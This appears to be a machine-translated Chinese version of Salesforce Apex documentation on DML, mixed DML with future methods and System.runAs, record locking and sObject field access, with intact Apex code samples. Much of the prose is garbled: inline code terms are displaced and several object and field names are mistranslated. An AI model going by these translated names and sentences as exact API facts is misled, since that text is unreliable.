  • 用户您可以在 Apex 代码中与其他 sObject 一起在事务中插入用户 使用 Salesforce API 版本 14.0 及更早版本保存。您可以插入一个 用户在 Apex 代码中与其他 sObject 的事务中保存 将 UserRoleId 指定为 null 时的 Salesforce API 版本 15.0 及更高版本。您可以使用以下命令更新事务中的用户 使用 Salesforce API 版本 14.0 保存的 Apex 代码中的其他 sObject 和 早些时候您可以使用以下 使用 Salesforce API 版本 15.0 及更高版本保存的 Apex 代码,当用户 不包含在 Lightning Sync 配置中 (活动或非活动),并且以下字段不会更新:
    • UserRoleId
    • IsActive
    • 预测已启用
    • IsPortal已启用
    • 用户名
    • 配置文件 Id
  • UserPackage许可证
  • 用户角色
  • 用户区域
  • UserTerritory2Association

如果您将 Visualforce 页面与自定义控制器一起使用,则不能混合使用 sObject 类型 在单个请求或操作中使用这些特殊 sObject 中的任何一个。但是,您可以 在后续请求中对这些不同类型的 sObject 执行 DML 操作。为 例如,您可以使用“保存”按钮创建一个帐户,然后创建一个具有 具有提交按钮的非 null 角色。您可以使用 流程如下:

  1. 创建一个对一种类型的 sObject 执行 DML 操作的方法。
  2. 创建第二个方法,该方法使用 future 批注来操作第二个 sObject 类型。

此过程将在下一节的示例中演示。

示例:使用 Future 方法执行混合 DML 操作

此示例演示如何使用 future 方法执行混合 DML 操作 对 User 对象执行 DML 操作。

public class MixedDMLFuture {
    public static void useFutureMethod() {
        // First DML operation
        Account a = new Account(Name='Acme');
        insert a;
        
        // This next operation (insert a user with a role) 
        // can't be mixed with the previous insert unless 
        // it is within a future method. 
        // Call future method to insert a user with a role.
        Util.insertUserWithRole(
            'mruiz@awcomputing.com', 'mruiz', 
            'mruiz@awcomputing.com', 'Ruiz');        
    }
}
public class Util {
    @future
    public static void insertUserWithRole(
        String uname, String al, String em, String lname) {

        Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
        UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
        // Create new user with a non-null user role ID 
        User u = new User(alias = al, email=em, 
            emailencodingkey='UTF-8', lastname=lname, 
            languagelocalekey='en_US', 
            localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
            timezonesidkey='America/Los_Angeles', 
            username=uname);
        insert u;
    }
}
  • 测试方法
    中的混合 DML 操作 测试方法允许执行混合数据操作语言 (DML) 操作,其中包括设置 sObject 和其他 sObject(如果执行 DML 操作的代码包含在方法块中)。还可以在测试方法调用的异步作业中执行 DML。例如,通过这些技术,您可以在同一测试中创建具有角色和其他 sObject 的用户。System.runAs

测试方法中的混合 DML 操作

测试方法允许执行混合数据操作语言 (DML) 操作 包括设置 sObject 和其他 sObject(如果执行 DML 的代码) 操作包含在方法中 块。还可以在测试方法调用的异步作业中执行 DML。这些 例如,通过技术,您可以创建具有角色的用户,并在 同样的测试。

System.runAs

设置 sObjects 列在不能一起使用的 sObjects 中 在 DML 操作中。

注意

由于在部署期间会跳过对混合 DML 操作的验证,因此可能会有 部署测试时与运行时测试失败次数的差异 用户界面。

示例:System.runAs 块中的混合 DML 操作

此示例说明如何将混合 DML 操作包含在块中以避免混合 DML 错误。该块在 当前用户的上下文。它创建一个具有角色和测试的测试用户 帐户,这是一个混合 DML 操作。

System.runAsSystem.runAs

@isTest
private class MixedDML {
    static testMethod void mixedDMLExample() {  
        User u;
        Account a;
        User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
       // Insert account as current user
        System.runAs (thisUser) {
            Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
            UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
            u = new User(alias = 'jsmith', email='jsmith@acme.com', 
                emailencodingkey='UTF-8', lastname='Smith', 
                languagelocalekey='en_US', 
                localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
                timezonesidkey='America/Los_Angeles', 
                username='jsmith@acme.com');
            insert u;
            a = new Account(name='Acme');
            insert a;
        }
    }
}

使用@future绕过混合 测试方法中的 DML 错误

不允许在单个事务中混合 DML 操作。你不能执行 在同一事务中设置一个 sObject 和另一个 sObject 上的 DML。但是,您可以 将一种类型的 DML 作为异步作业的一部分执行,而在另一种作业中执行其他类型的 DML 异步作业或原始事务中。此类包含一个方法,该方法将由 随后的 例。

@future

public class InsertFutureUser {
    @future
    public static void insertUser() {
        Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
        UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
        User futureUser = new User(firstname = 'Future', lastname = 'User',
            alias = 'future', defaultgroupnotificationfrequency = 'N',
            digestfrequency = 'N', email = 'test@test.org',
            emailencodingkey = 'UTF-8', languagelocalekey='en_US', 
            localesidkey='en_US', profileid = p.Id, 
            timezonesidkey = 'America/Los_Angeles',
            username = 'futureuser@test.org',
            userpermissionsmarketinguser = false,
            userpermissionsofflineuser = false, userroleid = r.Id);
        insert(futureUser);
    }
}

此类调用上一个中的方法 类。

@isTest
public class UserAndContactTest {
    public testmethod static void testUserAndContact() {
        InsertFutureUser.insertUser();
        Contact currentContact = new Contact(
            firstName = String.valueOf(System.currentTimeMillis()),
            lastName = 'Contact');
        insert(currentContact);
    }
}

不支持 DML 操作的 sObject

您的组织包含 Salesforce 提供的标准对象和自定义对象 您创建的。这些对象可以在 Apex 中作为 sObject 数据类型的实例进行访问。 您可以查询这些对象,并对它们执行DML操作。但是,一些标准 对象不支持 DML 操作,但您仍然可以在查询中获取它们。他们 包括以下内容:

  • AccountTerritoryAssignmentRule
  • AccountTerritoryAssignmentRuleItem
  • Apex组件
  • ApexPage(顶点页面)
  • 营业时间
  • 业务流程
  • 种类Node
  • 货币类型
  • DatedConversionRate
  • NetworkMember(仅允许)update
  • 流程实例
  • 轮廓
  • 记录类型
  • SelfServiceUser(自助服务用户)
  • 静态资源
  • 地区2
  • UserAccountTeamMember 用户
  • 用户首选项
  • 用户区域
  • 网页链接
  • 如果客户记录的记录类型为“个人帐户”,则“名称”字段不能为 使用 DML 操作进行修改。

批量 DML 异常处理

批量 DML 调用引起的异常(包括 作为调用的直接结果而触发的触发器)的处理方式不同,具体取决于 原始呼叫的来源:

  • 当由于直接源自 Apex DML 的批量 DML 调用而发生错误时 语句,或者如果数据库 DML 的参数 方法指定为 ,运行时 引擎遵循“全有或全无”规则:在单次 操作,所有记录必须更新成功或整个操作 回滚到 DML 语句之前的点。如果指定了数据库 DML 方法的参数 as 和 a before 触发器分配一个 字段的值无效,则不会插入部分有效记录集。allOrNonetrueallOrNonefalse
  • 当由于源自 SOAP API 的批量 DML 调用而发生错误时,默认 设置,或者如果数据库 DML 的参数 方法被指定为 , 运行时引擎至少尝试部分保存:allOrNonefalse
    1. 在第一次尝试期间,运行时引擎将处理所有记录。任何 由于验证规则或 唯一索引冲突被搁置一旁。
    2. 如果在第一次尝试期间出现错误,运行时引擎会使 第二次尝试,仅包括未生成的记录 错误。在第一个期间未生成错误的所有记录 尝试,如果任何记录生成错误(可能 由于竞争条件),它也被搁置一旁。
    3. 如果在第二次尝试期间出现其他错误,则运行时 引擎进行第三次也是最后一次尝试,仅包含这些记录 在第一次和第二次尝试期间不会产生错误。如果有的话 记录生成错误,整个操作失败并显示错误 消息,“存在 Apex 触发器时批量重试次数过多 和部分故障。
    注意
    • 在第二次和第三次尝试期间,调速器限制将重置为 它们在第一次尝试之前的原始状态。请参阅 Execution Governors 和 限制。
    • Apex 触发器在第一次保存尝试时触发,如果出现错误 对于某些记录,随后会尝试 保存成功记录的子集,触发器将在此上重新触发 记录的子集。

您应该了解的有关 Apex 中数据的信息

非 null 必填字段、值和 null 字段在现有记录上插入新记录或更新必填字段时,必须 为所有必需的值提供非值 领域。null与 SOAP API 不同,Apex 允许您在不更新 sObject 记录上的数组的情况下更改字段值。The API 由于许多 SOAP 提供程序对值的处理不一致,因此需要更新此数组。因为 Apex 运行 仅在 Lightning 平台上,此解决方法是不必要的。nullfieldsToNullnull某些 sObject 不支持 DML某些 sObject 不支持 DML 操作。请参阅不支持 DML 操作的 sObject。字符串字段截断和 API 版本使用 API 版本 15.0 及更高版本保存(编译)的 Apex 类和触发器会生成 如果为字段分配的 String 值太长,则运行时错误。用于启用 DML 操作的 sObject 属性为了能够插入、更新、删除或取消删除 sObject 记录,sObject 必须 将相应的属性(、、或分别)设置为 。createableupdateabledeletableundeletabletrueID 值该语句自动设置 ID 所有新 sObject 记录的值。插入已具有 ID 的记录,以及 因此,组织的数据中已存在 – 会产生错误。有关详细信息,请参阅列表。insertand 语句检查每批记录中是否存在重复的 ID 值。如果 有重复项,前五个被处理。对于第六个和所有附加 重复的 ID,则这些条目的 SaveResult 会标记为类似于 以后:insertupdateMaximum number of duplicate updates in one batch (5 allowed). Attempt to update Id more than once in this API call: number_of_attempts.更新的 sObject 记录的 ID 不能在语句中修改,但相关记录 ID 可以修改。update具有唯一约束的字段对于某些具有具有唯一约束的字段的 sObject, 插入重复的 sObject 记录会导致错误。例如,插入 具有相同名称的 CollaborationGroup sObject 会导致错误,因为 CollaborationGroup 记录必须具有唯一的名称。自动设置系统字段插入新记录时,系统字段(如 、 和)会自动更新。你不能 在 Apex 中显式指定这些值。同样,在更新记录时,系统 、 和 等字段会自动更新。CreatedDateCreatedByIdSystemModstampLastModifiedDateLastModifiedByIdSystemModstampDML 语句处理的最大记录数最多可以将 10,000 个 sObject 记录传递给单个 、 、 和 方法。insertupdatedeleteundelete

每个语句由两个操作组成,一个用于插入记录,另一个用于插入记录 一个用于更新记录。其中每个操作都分别受 和 的运行时限制的约束。例如,如果更新插入超过 10,000 条记录 并且所有这些都正在更新,您会收到一个错误。(请参阅执行调控器和限制upsertinsertupdate)更新插入和外键如果已将外键设置为引用,则可以使用外键更新插入 sObject 记录 领域。有关详细信息,请参阅对象引用中的字段类型 对于 Salesforce。为多个对象类型创建记录

与 SOAP API 一样,您可以在 Apex 中为多个对象类型创建记录。 包括自定义对象,在 API 版本 20.0 及更高版本的一次 DML 调用中。例如 您可以在一次通话中创建联系人和帐户。您最多可以为 10 个创建记录 一次调用中的对象类型。

记录的保存顺序与它们在 sObject 输入数组中输入的顺序相同。如果 您正在输入具有父子关系的新记录,即父记录 必须在数组中的子记录之前。例如,如果您要创建联系人 如果引用的帐户也在同一调用中创建,则该帐户必须 数组中的索引比联系人的索引小。联系人引用了 帐户,使用外部 ID 字段。

您不能添加引用相同对象类型的另一条记录的记录 同样的电话。例如,“联系人”对象具有“报告对象”字段 这是对另一个联系人的引用。如果一个联系人,则无法在一次通话中创建两个联系人 联系人使用“报告对象”字段引用 输入数组。您可以创建一个联系人,该联系人引用了另一个联系人 以前创建。

Salesforce 将多个对象类型的记录分解为多个块。一个 chunk 是输入数组的子集,每个 chunk 包含一个对象的记录 类型。数据是逐块提交的。与以下项相关的任何 Apex 触发器 区块中的记录每个区块调用一次。考虑一个 sObject 输入数组 包含以下一组记录:

account1, account2, contact1, contact2, contact3, case1, account3, account4, contact4

Salesforce 将记录拆分为五个块:

  1. account1, account2
  2. contact1, contact2, contact3
  3. case1
  4. account3, account4
  5. contact4

每个调用最多可以处理 10 个区块。如果 sObject 数组包含超过 10 个 块,则必须在多个调用中处理记录。更多信息 关于此功能,请参阅为不同的 SOAP API Developer 中的对象类型 指南。

注意

对于 Apex,插入或更新 DML 操作的输入数组分块具有 两个可能的原因:存在多个对象类型或默认块大小 200. 如果由于这两个原因而在输入数组中发生分块,则每个分块 计入 10 个区块的限制。如果输入数组仅包含一种类型的 sObject,则不会达到此限制。但是,如果输入数组至少包含两个 sObject 类型,并包含大量对象,这些对象被分块成 200 个组, 您可能会达到此限制。例如,如果您有一个包含 1,001 的数组 连续的潜在客户后跟 1,001 个连续的联系,数组将被分块到 12 组:两组是由于 Lead 和 Contact 的不同 sObject 类型,以及 其余部分是由于默认的分块大小为 200 个对象。在本例中, 插入或更新操作返回错误,因为已达到 10 个区块的限制 在混合阵列中。解决方法是为每个对象类型调用 DML 操作 分别。DML 和知识对象在知识文章(KnowledgeArticleVersion 类型,例如 自定义FAQ__kav文章类型),正在运行的用户必须具有知识用户功能 许可证。否则,调用包含对知识的 DML 操作的类方法 文章会导致错误。如果正在运行的用户不是系统管理员,并且不是 具有知识用户功能许可证,调用类中的任何方法都会返回错误 即使调用的方法不包含知识文章的 DML 代码,但另一个 方法。例如,下面的类包含两个方法,只有一个 其中对知识文章执行 DML。非管理员非知识用户,其 调用该方法将获得以下内容 错误:doNothingDML operation UPDATE not allowed on FAQ__kav

public class KnowledgeAccess {
 
  public void doNothing() {
  }
  
  public void DMLOperation() {  
    FAQ__kav[] articles = [SELECT Id FROM FAQ__kav WHERE PublishStatus = 'Draft' and Language = 'en_US'];
    update articles;
  }
 
}

解决方法是将输入数组从 FAQ__kav 数组强制转换为 DML 语句 articles 添加到泛型 sObject 类型的数组中,如下所示:

public void DMLOperation() {  
    FAQ__kav[] articles = [SELECT id FROM FAQ__kav WHERE PublishStatus = 'Draft' and Language = 'en_US'];
    update (sObject[]) articles;
}

锁定记录

锁定 sObject 记录时,不允许其他客户端或用户进行更新 通过代码或 Salesforce 用户界面。锁定记录的客户端可以 对记录执行逻辑并进行更新,并保证锁定的记录 在锁定期间不会被其他客户端更改。

  • 锁定语句
    在 Apex 中,您可以使用在更新 sObject 记录时锁定它们,以防止争用条件和其他线程安全问题。FOR UPDATE
  • 锁定 SOQL For 循环
  • 避免死锁

锁定语句

在 Apex 中,您可以使用锁定 sObject 记录,以防止竞争条件和其他 线程安全问题。

FOR UPDATE

当 sObject 记录被锁定时,不允许其他客户端或用户进行更新 通过代码或 Salesforce 用户界面。锁定记录的客户端可以 对记录执行逻辑并进行更新,并保证锁定的记录 在锁定期间不会被其他客户端更改。锁被释放 当交易完成时。要在 Apex 中锁定一组 sObject 记录,请在任何内联 SOQL 语句后嵌入关键字。例如 以下语句除了查询两个帐户外,还会锁定帐户 那是 返回:

FOR UPDATE

Account [] accts = [SELECT Id FROM Account LIMIT 2 FOR UPDATE];

注意

您不能使用 任何使用锁定的 SOQL 查询。ORDER BY

锁定注意事项

  • 当记录被客户端锁定时,锁定客户端可以修改其字段 同一事务中数据库中的值。其他客户端必须等到 事务完成,记录不再被锁定,然后才能更新 相同的记录。其他客户端仍然可以查询相同的记录,同时 锁。
  • 如果尝试锁定当前由其他客户端锁定的记录,则进程将等待 在获取新锁之前,最多 10 秒才能释放锁。如果等待 时间超过 10 秒,a 是 扔。同样,如果您尝试更新当前被其他客户端锁定的记录 并且锁在最多 10 秒内没有松开,而是抛出 A。QueryExceptionDmlException
  • 如果客户端尝试修改锁定的记录,则在 锁定在进行更新调用后的短时间内释放。在这个 情况下,如果 第二个客户获得了该记录的旧副本。为了防止发生覆盖, 第二个客户端必须首先锁定记录。锁定过程将返回 通过语句从数据库获取的记录。第二个客户端可以使用此副本进行新的更新。SELECT
  • 在 Apex via 子句中获取的记录锁在进行标注时会自动释放。谨慎使用 同时在以前可以执行查询的上下文中进行标注。FOR UPDATEFOR UPDATE
  • 当您对一条记录执行 DML 操作时,相关记录也会被锁定 到有问题的记录。

警告

在 Apex 代码中设置锁定时要小心。请参阅避免死锁。

锁定 SOQL For 循环

关键字也可以在 SOQL 循环。为 例:

FOR UPDATEfor

for (Account[] accts : [SELECT Id FROM Account
                        FOR UPDATE]) {
    // Your code
}

正如 SOQL For 循环中所讨论的,上面的示例在内部对应于 SOAP API 中对 and 方法的调用。query()queryMore()

请注意,没有语句。如果你的 Apex 触发器成功完成,任何数据库更改都会自动提交。 如果 Apex 触发器未成功完成,则对数据库所做的任何更改 被回滚。commit

避免死锁

Apex 存在死锁的可能性,就像任何其他涉及的过程逻辑语言一样 更新多个数据库表或行。为避免此类死锁,Apex 运行时引擎:

  1. 首先锁定 sObject 父记录,然后锁定子记录。
  2. 当多个相同类型的记录被 编辑。

作为开发人员,在锁定行时要小心,以确保你 不引入死锁。验证是否正在使用标准死锁 通过以相同顺序访问表和行的规避技术 从应用程序中的所有位置。

在 Apex 中处理数据

您可以在 Lightning 平台持久性层中添加数据并与之交互。这 sObject 数据类型是保存数据对象的主要数据类型。您将使用数据 操作语言 (DML) 用于处理数据,并使用查询语言检索数据, 例如(),等等。

  • 使用 sObjects
    在本开发人员指南中,该术语是指可以存储在 Lightning 平台数据库中的任何对象。sObject
  • 数据操作语言
    Apex 使您能够在数据库中插入、更新、删除或还原数据。DML 操作允许您一次修改一条记录或批量修改记录。
  • SOQL 和 SOSL 查询
    您可以在 Apex 中即时评估 Salesforce 对象查询语言 (SOQL) 或 Salesforce 对象搜索语言 (SOSL) 语句,方法是将语句括在方括号中。
  • SOQL For 循环 SOQL 循环遍历
    SOQL 查询返回的所有 sObject 记录。for
  • sObject 集合
    可以管理列表、集和映射中的 sObject。
  • 动态Apex
  • Apex 安全和共享
    当您使用 Apex 时,代码的安全性至关重要。您需要为 Apex 类添加用户权限并强制执行共享规则。请继续阅读,了解 Apex 托管共享并获取一些安全提示。
  • 自定义设置 自定义设置
    类似于自定义对象。应用程序开发人员可以创建自定义数据集,并为组织、配置文件或特定用户关联自定义数据。所有自定义设置数据都公开在应用程序缓存中,这样就可以进行高效访问,而无需重复查询数据库。然后,公式字段、验证规则、流、Apex 和 SOAP API 可以使用此数据。

使用 sObjects

在本开发人员指南中,该术语是指任何对象 可以存储在 Lightning 平台数据库中。

sObject

  • sObject 类型
    sObject 变量表示一行数据,只能在 Apex 中使用对象的 SOAP API 名称声明。
  • 访问 SObject 字段
  • 验证 sObjects 和字段

sObject 类型

sObject 变量表示一行数据,只能在 Apex 中使用 对象的 SOAP API 名称。

例如:

Account a = new Account();
MyCustomObject__c co = new MyCustomObject__c();

与 SOAP API 类似,Apex 允许使用泛型 sObject 抽象类型来 表示任何对象。sObject 数据类型可用于处理不同 sObject 的类型。

操作人员仍然需要混凝土 sObject 类型,因此所有实例都是特定的 sObject。例如:new

sObject s = new Account();

还可以在泛型 sObject 类型和特定 sObject 类型之间使用强制转换。 例如:

// Cast the generic variable s from the example above
// into a specific account and account variable a
Account a = (Account)s;
// The following generates a runtime error
Contact c = (Contact)s;

由于 sObject 的工作方式与对象类似,因此您还可以将 以后:

Object obj = s;
// and
a = (Account)obj;

DML 操作适用于声明为泛型 sObject 数据类型的变量以及 与常规 sObjects。

sObject 变量初始化为 ,但 可以使用运算符分配有效的对象引用。例如:nullnew

Account a = new Account();

开发人员还可以在实例化新的 s对象。例如:name = value

Account a = new Account(name = 'Acme', billingcity = 'San Francisco');

有关从 Lightning 平台数据库访问现有 sObject 的信息,请参阅 SOQL 和 SOSL 参考中的“SOQL 和 SOSL 查询”。

注意

当对象记录 最初是第一次插入到数据库中。有关详细信息,请参阅列表。

自定义标签

自定义标签 不是标准的 sObject。您无法创建自定义标签的新实例。您可以 仅使用 访问自定义标签的值。为 例:

system.label.label_name

String errorMsg = System.Label.generic_error;

为 有关自定义标签的详细信息,请参阅 Salesforce 中的“自定义标签” 帮助。

访问 SObject 字段

与 Java 一样,可以使用简单的点表示法访问或更改 SObject 字段。为 例:

Account a = new Account();
a.Name = 'Acme';    // Access the account name field and assign it 'Acme'

系统生成的字段,例如“创建者”或“上次修改时间” 日期,无法修改。如果尝试,Apex 运行时引擎会生成错误。 此外,公式字段值和其他字段的值对 无法更改上下文用户。

如果使用泛型 SObject 类型而不是特定对象(如 Account),则可以 仅使用点表示法检索 Id 字段。您可以为使用 Salesforce API 版本 27.0 保存的 Apex 代码设置“Id”字段,并且 稍后)。或者,您可以使用泛型 SObject 和方法。请参见SObject 类。putget

此示例演示如何访问 Id 字段和操作 不允许在通用 SObject 上使用。

Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
// This is allowed
ID id = s.Id;
// The following line results in an error when you try to save
String x = s.Name;
// This line results in an error when you try to save using API version 26.0 or earlier
s.Id = [SELECT Id FROM Account WHERE Name = 'Acme' LIMIT 1].Id;

注意

如果您的组织已启用个人帐户,则您有两种不同类型的 帐户:企业帐户和个人帐户。如果您的代码使用 创建一个新帐户,则会创建一个业务帐户。如果您的代码 使用时,将创建一个个人帐户。nameLastName如果要对 SObject 进行操作,建议先进行转换 添加到特定对象中。为 例:

Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
ID id = s.ID;
Account convertedAccount = (Account)s;
convertedAccount.name = 'Acme2';
update convertedAccount;
Contact sal = new Contact(FirstName = 'Sal', Account = convertedAccount);

以下示例演示如何对一组记录使用 SOSL 来确定其 对象类型。将通用 SObject 记录转换为联系人、潜在顾客或 帐户,您可以修改其字段 因此:

public class convertToCLA {
    List<Contact> contacts = new List<Contact>();
    List<Lead> leads = new List<Lead>();
    List<Account> accounts = new List<Account>();
 
    public void convertType(String phoneNumber) {
        List<List<SObject>> results = [FIND :phoneNumber 
            IN Phone FIELDS 
            RETURNING Contact(Id, Phone, FirstName, LastName), 
            Lead(Id, Phone, FirstName, LastName), 
            Account(Id, Phone, Name)];
        List<SObject> records = new List<SObject>();
        records.addAll(results[0]); //add Contact results to our results super-set
        records.addAll(results[1]); //add Lead results
        records.addAll(results[2]); //add Account results
 
        if (!records.isEmpty()) { 
            for (Integer i = 0; i < records.size(); i++) { 
                SObject record = records[i];
                if (record.getSObjectType() == Contact.sObjectType) { 
                    contacts.add((Contact) record);
                } else if (record.getSObjectType() == Lead.sObjectType){ 
                    leads.add((Lead) record);
                } else if (record.getSObjectType() == Account.sObjectType) { 
                    accounts.add((Account) record); 
                }
            }
        }
    }
}

使用 SObject 字段

SObject 字段可以初始设置,也可以不设置(未设置);未设置的字段与 空字段或空白字段。在 SObject 上执行 DML 操作时,可以更改字段 这是设置的;您无法更改未设置的字段。

注意

若要擦除字段的当前值,请将该字段设置为 null。

如果 Apex 方法采用 SObject 参数,则可以使用 System.isSet() 方法标识设置字段。如果你 想要取消设置任何字段以保留其值,请先创建一个 SObject 实例。然后 仅应用要成为 DML 操作一部分的字段。

此示例代码演示如何将 SObject 字段标识为已设置或未设置。

Contact nullFirst = new Contact(LastName='Codey', FirstName=null);
System.assertEquals(true, nullFirst.isSet('FirstName'), 'FirstName is set to a literal value, so it counts as set');
Contact unsetFirst = new Contact(LastName='Astro');
System.assertEquals(false, unsetFirst.isSet('FirstName'), ‘FirstName is not set’);

仅当 SObject 的 SObject 字段类型为 Boolean 时,表达式的计算结果才为 true 字段为 true。如果字段为 false 或 null,则表达式的计算结果为 false。这 示例代码显示了一个表达式,用于检查Campaign对象的字段是否为null。因为这个表达式总是 计算结果为 false,语句中的代码为 从未执行过。IsActiveif

Campaign cObj= new Campaign(); 
...
   if (cObj.IsActive == null) {
  ... // IsActive is evaluated to false and this code block is not executed.
   }

验证 sObjects 和字段

解析和验证 Apex 代码时,将针对所有 sObject 和字段引用进行验证 实际的对象和字段名称,当无效名称 使用。此外,Apex 解析器还跟踪使用的自定义对象和字段,这两个对象和字段都在 代码的语法以及嵌入的 SOQL 和 SOSL 语句。

平台会阻止用户在进行以下类型的修改时进行这些更改 导致 Apex 代码无效:

  • 更改字段或对象名称
  • 从一种数据类型转换为另一种数据类型
  • 删除字段或对象
  • 进行某些组织范围的更改,例如记录共享、字段历史记录跟踪或 记录类型

数据操作语言

Apex 使您能够在数据库中插入、更新、删除或还原数据。DML系列 操作允许您一次修改一条记录或批量修改记录。

  • DML 的工作原理
  • 使用 DML
    添加和检索数据 Apex 与 Lightning Platform 持久性层紧密集成。数据库中的记录可以使用简单的语句直接通过 Apex 插入和操作。Apex 中允许您在数据库中添加和管理记录的语言是数据操作语言 (DML)。与用于读取操作(查询记录)的 SOQL 语言相比,DML 用于写入操作。
  • DML 语句与数据库类方法 Apex 提供了两种执行 DML 操作的方法:使用 DML 语句或 Database 类方法
    。这为执行数据操作的方式提供了灵活性。DML 语句使用起来更简单,并导致可以在代码中处理的异常。
  • 作为原子事务的 DML 操作
  • DML 操作
    使用 DML,您可以插入新记录并将其提交到数据库。您还可以更新现有记录的字段值。
  • 异常处理
  • 有关 DML
    的更多信息 以下是您可能想知道的有关使用数据操作语言的一些事项。
  • 锁定记录
    锁定 sObject 记录时,不允许其他客户端或用户通过代码或 Salesforce 用户界面进行更新。锁定记录的客户端可以对记录执行逻辑并进行更新,并保证锁定的记录在锁定期间不会被其他客户端更改。

DML 的工作原理

单个 DML 操作与批量 DML 操作

您可以对单个 sObject 或批量执行 DML 操作 在 sObject 列表中。建议执行批量 DML 操作,因为 它有助于避免达到调控器限制,例如每个 150 个语句的 DML 限制 顶点交易。此限制旨在确保公平访问共享资源 在闪电平台中。对 sObjects 计数列表执行 DML 操作 作为一个 DML 语句,而不是每个 sObject 的一个语句。

此示例对单个 sObject 执行 DML 调用,效率不高。

循环遍历联系人。对于每个 联系人,如果部门字段与某个值匹配,则为 Description__c字段。如果列表包含的项目不止,则第 151 次更新 返回无法捕获的异常。for

List<Contact> conList = [Select Department , Description from Contact];
for(Contact badCon : conList) {
    if (badCon.Department == 'Finance') {
        badCon.Description__c = 'New description';
    }
    // Not a good practice since governor limits might be hit.
    update badCon;
}

此示例是上一个示例的修改版本,该示例未命中 调速器限制。DML 操作是通过调用联系人列表批量执行的。此代码计数 作为一个 DML 语句,远低于 150 的限制。update

// List to hold the new contacts to update.
List<Contact> updatedList = new List<Contact>();
List<Contact> conList = [Select Department , Description from Contact];
for(Contact con : conList) {
    if (con.Department == 'Finance') {
        con.Description = 'New description';
        // Add updated contact sObject to the list.
        updatedList.add(con);
    }
}

// Call update on the list of contacts.
// This results in one DML call for the entire list.
update updatedList;

另一个 DML 调控器限制是 DML 可以处理的总行数 单个事务中的操作,即 10,000 个。所有 DML 处理的所有行 同一事务计数的调用将递增到此限制。例如,如果 您在同一笔交易中插入 100 个联系人并更新 50 个联系人,您的总数 DML 处理的行数为 150。您还剩下 9,850 行 (10,000 – 150)。

系统上下文和共享规则

大多数 DML 操作在系统上下文中执行,忽略当前用户的 权限、字段级安全性、组织范围的默认值、角色中的位置 层次结构和共享规则。有关详细信息,请参阅强制执行共享规则

注意

如果您在匿名块中执行 DML 操作,则它们将使用 当前用户的对象级和字段级权限。

最佳实践

使用 SObjects 上的 DML,最好构造新实例并仅更新字段 您希望在不查询其他字段的情况下进行修改。如果查询 要更新的字段,您可以还原查询的字段值,这些字段值可能具有 在查询和 DML 之间更改。

使用 DML 添加和检索数据

Apex 与 Lightning Platform 持久性层紧密集成。记录 可以使用简单的语句直接通过 Apex 插入和操作数据库。 Apex 中允许您在数据库中添加和管理记录的语言是数据 操作语言 (DML)。与用于读取的 SOQL 语言相比 操作(查询记录),DML 用于写入操作。

在插入或操作记录之前,记录数据在内存中作为 sObject 创建。 sObject 数据类型是泛型数据类型,对应于 将保存记录数据的变量。有特定的数据类型,子类型从 sObject 数据类型,对应于标准对象记录的数据类型,例如 作为 Account 或 Contact,以及自定义对象,例如 Invoice_Statement__c。通常,您 将处理这些特定的 sObject 数据类型。但有时,当你不这样做时 提前知道 sObject 的类型,就可以使用通用的 sObject 数据了 类型。这是一个示例,说明如何创建新的特定帐户 sObject 并分配 它设置为变量。

Account a = new Account(Name='Account Example');

在前面的示例中,变量引用的帐户存在于内存中,并带有必填字段。但是,它尚未持久化到 Lightning 平台持久性层。您需要调用 DML 语句来持久化 s对象添加到数据库。下面是创建和保留此帐户的示例 使用语句。aNameinsert

Account a = new Account(Name='Account Example');
insert a;

此外,还可以使用 DML 修改已插入的记录。其中 您可以执行的操作包括记录更新、删除、从 回收站、合并记录或转换潜在客户。查询记录后,您将获得 sObject 实例,您可以修改这些实例,然后保留其更改。这是一个 查询以前保留的现有记录的示例,更新 内存中此记录的 sObject 表示形式上的几个字段,然后 将此更改保存到数据库。

// Query existing account.
Account a = [SELECT Name,Industry 
               FROM Account 
               WHERE Name='Account Example' LIMIT 1];

// Write the old values the debug log before updating them.
System.debug('Account Name before update: ' + a.Name); // Name is Account Example
System.debug('Account Industry before update: ' + a.Industry);// Industry is not set

// Modify the two fields on the sObject.
a.Name = 'Account of the Day';
a.Industry = 'Technology';

// Persist the changes.
update a;

// Get a new copy of the account from the database with the two fields.
Account a = [SELECT Name,Industry 
             FROM Account 
             WHERE Name='Account of the Day' LIMIT 1];

// Verify that updated field values were persisted.
System.assertEquals('Account of the Day', a.Name);
System.assertEquals('Technology', a.Industry);

DML 语句与数据库类方法

Apex 提供了两种执行 DML 操作的方法:使用 DML 语句或数据库 类方法。这为执行数据操作的方式提供了灵活性。DML 语句 更易于使用,并导致您可以在 法典。

这是 用于插入新记录的 DML 语句。

// Create the list of sObjects to insert
List<Account> acctList = new List<Account>();
acctList.add(new Account(Name='Acme1'));
acctList.add(new Account(Name='Acme2'));

// DML statement
insert acctList;

这是上一个示例的等效示例,但它使用了 Database 的方法 类而不是 DML 谓词。

// Create the list of sObjects to insert
List<Account> acctList = new List<Account>();
acctList.add(new Account(Name='Acme1'));
acctList.add(new Account(Name='Acme2'));

// DML statement
Database.SaveResult[] srList = Database.insert(acctList, false);

// Iterate through each returned result
for (Database.SaveResult sr : srList) {
    if (sr.isSuccess()) {
        // Operation was successful, so get the ID of the record that was processed
        System.debug('Successfully inserted account. Account ID: ' + sr.getId());
    }
    else {
        // Operation failed, so get all errors                
        for(Database.Error err : sr.getErrors()) {
            System.debug('The following error has occurred.');                    
            System.debug(err.getStatusCode() + ': ' + err.getMessage());
            System.debug('Account fields that affected this error: ' + err.getFields());
        }
    }
}

